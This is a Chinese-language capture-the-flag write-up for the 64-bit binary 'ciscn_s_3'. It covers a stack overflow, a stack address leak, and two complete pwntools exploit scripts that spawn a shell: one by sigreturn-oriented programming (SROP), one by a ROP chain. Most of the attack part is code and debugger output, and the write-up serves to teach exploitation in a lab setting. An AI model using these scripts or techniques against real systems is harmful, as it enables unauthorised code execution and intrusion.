解题思路
安全机制检查
healer@healer-virtual-machine:~/Desktop/ciscn_s_3$ readelf -h ciscn_s_3
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4003e0
Start of program headers: 64 (bytes into file)
Start of section headers: 6632 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 28
healer@healer-virtual-machine:~/Desktop/ciscn_s_3$ checksec ciscn_s_3
[*] '/home/healer/Desktop/ciscn_s_3/ciscn_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞锁定
.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh # 据老师讲解此处显式的汇编片段gadget,并且赋值为0x0F表示明示我们使用SROP攻击方式,可调用sys_rt_sigreturn函数
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh # 此处可用于调用sys_execve函数
.text:00000000004004E9 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB pop rbp
.text:00000000004004EC retn
.text:00000000004004ED
.text:00000000004004ED ; =============== S U B R O U T I N E =======================================
.text:00000000004004ED
.text:00000000004004ED ; Attributes: bp-based frame
.text:00000000004004ED
.text:00000000004004ED public vuln
.text:00000000004004ED vuln proc near ; CODE XREF: main+14p
.text:00000000004004ED
.text:00000000004004ED var_10 = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax # 此处将rax置为0,结合下方实际使用syscall,判定此处调用sys_read函数
.text:00000000004004F4 mov edx, 400h # 设置edx为0x400,判断此处为读入字节数(read函数参数三)
.text:00000000004004F9 lea rsi, [rsp+var_10] # 指向栈中的缓冲区,栈顶减0x10的位置(read函数参数二)
.text:00000000004004FE mov rdi, rax # 将rdi设置为rax,即0,在read函数中指代标准输入流(read函数参数一)
.text:0000000000400501 syscall
.text:0000000000400503 mov rax, 1 # 此处将rax置为1,结合syscall调用,实际执行sys_write函数
.text:000000000040050A mov edx, 30h # 设置edx为0x30,即写出的字节数(write函数参数三)
.text:000000000040050F lea rsi, [rsp+var_10] # 指向栈中的缓冲区,栈顶减0x10的位置(write函数参数二)
.text:0000000000400514 mov rdi, rax # 设置rdi为rax,即1,在write函数中指代标输出流(write函数参数一)
.text:0000000000400517 syscall
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B pop rbp
.text:000000000040051C retn
.text:000000000040051D
基本利用方法
基础知识参考
64位:
传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
调用号:sys_read 的调用号 为 0 ,sys_write 的调用号 为 1 ,stub_execve 的调用号 为 59, stub_rt_sigreturn 的调用号 为 15
调用方式: 使用 syscall 进行系统调用
初步分析上面的函数通过执行read函数读入0x400字节,再通过write函数从同一位置写出0x30个字节,调试发现:
pwndbg>
0x0000000000400501 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x400
*RDI 0x0
RSI 0x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x4005400000
R8 0x4005b0 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7af0 (_dl_fini) ◂— push rbp
R10 0x846
R11 0x7ffff7a2d750 (__libc_start_main) ◂— push r14
R12 0x4003e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffde00 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push r15
*RIP 0x400501 (vuln+20) ◂— syscall
──────────────────────────────────────────[ DISASM ]──────────────────────────────────────────
0x4004ee <vuln+1> mov rbp, rsp
0x4004f1 <vuln+4> xor rax, rax
0x4004f4 <vuln+7> mov edx, 0x400
0x4004f9 <vuln+12> lea rsi, [rsp - 0x10]
0x4004fe <vuln+17> mov rdi, rax
► 0x400501 <vuln+20> syscall <SYS_read>
fd: 0x0
buf: 0x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x4005400000 # 缓冲区所指向的地址视rsp-0x10的位置
nbytes: 0x400
0x400503 <vuln+22> mov rax, 1
0x40050a <vuln+29> mov edx, 0x30
0x40050f <vuln+34> lea rsi, [rsp - 0x10]
0x400514 <vuln+39> mov rdi, rax
0x400517 <vuln+42> syscall
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push r15 # 但此时的rbp与rsp是同一个地址,并且继续调试会发现rbp与rsp所在位置是返回地址
01:0008│ 0x7fffffffdd08 —▸ 0x400536 (main+25) ◂— nop
02:0010│ 0x7fffffffdd10 —▸ 0x7fffffffde08 —▸ 0x7fffffffe1b8 ◂— '/home/healer/Desktop/ciscn_s_3/ciscn_s_3'
03:0018│ 0x7fffffffdd18 ◂— 0x100000000
04:0020│ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffdd28 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffdd30 ◂— 0x1
07:0038│ 0x7fffffffdd38 —▸ 0x7fffffffde08 —▸ 0x7fffffffe1b8 ◂— '/home/healer/Desktop/ciscn_s_3/ciscn_s_3'
────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
► f 0 400501 vuln+20
f 1 400536 main+25
f 2 7ffff7a2d840 __libc_start_main+240
──────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
pwndbg> x/20xg 0x7fffffffdcf0
0x7fffffffdcf0: 0x00007fffffffdd1e 0x0000000000000000 # 可以发现写出的0x30个字节恰好可以写到0x7fffffffdd10处,此处存储的地址为0x00007fffffffde08
0x7fffffffdd00: 0x00007fffffffdd20 0x0000000000400536 # 且0x7fffffffdd00处存放的是函数的返回值,并且可写入的字节数为0x400远大于此处
0x7fffffffdd10: 0x00007fffffffde08 0x0000000100000000
0x7fffffffdd20: 0x0000000000400540 0x00007ffff7a2d840
所以可以构造第一步的payload,通过控制返回地址使得函数执行完第一遍之后还能够继续执行
payload = "a"*0x10+p64(vuln)
pwndbg>
0x0000000000400517 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x1
RBX 0x0
RCX 0x400503 (vuln+22) ◂— mov rax, 1
RDX 0x30
*RDI 0x1
RSI 0x7fffffffdd50 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x4005b0 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7af0 (_dl_fini) ◂— push rbp
R10 0x846
R11 0x346
R12 0x4003e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffde60 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd60 —▸ 0x4004ed (vuln) ◂— push rbp
RSP 0x7fffffffdd60 —▸ 0x4004ed (vuln) ◂— push rbp
*RIP 0x400517 (vuln+42) ◂— syscall
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
0x400503 <vuln+22> mov rax, 1
0x40050a <vuln+29> mov edx, 0x30
0x40050f <vuln+34> lea rsi, [rsp - 0x10]
0x400514 <vuln+39> mov rdi, rax
► 0x400517 <vuln+42> syscall <SYS_write>
fd: 0x1
buf: 0x7fffffffdd50 ◂— 0x6161616161616161 ('aaaaaaaa')
n: 0x30
0x400519 <vuln+44> ret
0x40051a <vuln+45> nop
0x40051b <vuln+46> pop rbp
0x40051c <vuln+47> ret
0x40051d <main> push rbp
0x40051e <main+1> mov rbp, rsp
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdd60 —▸ 0x4004ed (vuln) ◂— push rbp
01:0008│ 0x7fffffffdd68 —▸ 0x400536 (main+25) ◂— nop
02:0010│ 0x7fffffffdd70 —▸ 0x7fffffffde68 —▸ 0x7fffffffe202 ◂— './ciscn_s_3'
03:0018│ 0x7fffffffdd78 ◂— 0x100000000
04:0020│ 0x7fffffffdd80 —▸ 0x400540 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffdd88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7fffffffdd90 ◂— 0x1
07:0038│ 0x7fffffffdd98 —▸ 0x7fffffffde68 —▸ 0x7fffffffe202 ◂— './ciscn_s_3'
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► f 0 400517 vuln+42
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10xg 0x7fffffffdd50
0x7fffffffdd50: 0x6161616161616161 0x6161616161616161
0x7fffffffdd60: 0x00000000004004ed 0x0000000000400536
0x7fffffffdd70: 0x00007fffffffde68 0x0000000100000000
通过上面的方法将函数的返回地址劫持到漏洞函数开始的位置(忽略和之前的地址不同的问题,相对位置是一样的)
借助上面的Sys_write功能我们将栈中的地址0x00007fffffffde68泄漏了出来,由偏移量固定可计算得到栈中数据写入的起始地址,偏移量为0x118
再次借助Sys_read函数功能将第二步的payload写入栈中
payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)
使用上面的控制rax的值为0x0F的gadget作为返回地址,将“/bin/sh”写在已知的缓冲区开始的位置,执行完设置rax为0x0F之后,执行syscall函数的,此时触发执行stub_rt_sigreturn函数,此函数执行所需要的frame也已经构造完毕了,在紧接着的返回地址处存放,以此向设置好了所有执行Sys_execve函数的所有尝参数,通过构造SROP方式字节调用Sys_execve函数,拿到shell
攻击脚本
from pwn import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
context(arch = "amd64", os = 'linux')
# io = remote("111.200.241.244",49653)
io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")
syscall = 0x400517
gadget = 0x4004DA
vuln = 0x4004ED
gdb.attach(io,"b *main")
io.send(b"a"*0x10+p64(vuln))
io.recv(0x20)
# print()
stack = u64(io.recv(6).ljust(8,b'\x00')) -0x118
print("stack -> " + hex(stack))
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rip = syscall
frame.rsi = 0
payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)
io.send(payload)
io.interactive()
参考大佬的ROP链构造方法
from pwn import *
io=process('pwn')
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517
pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)
io.interactive()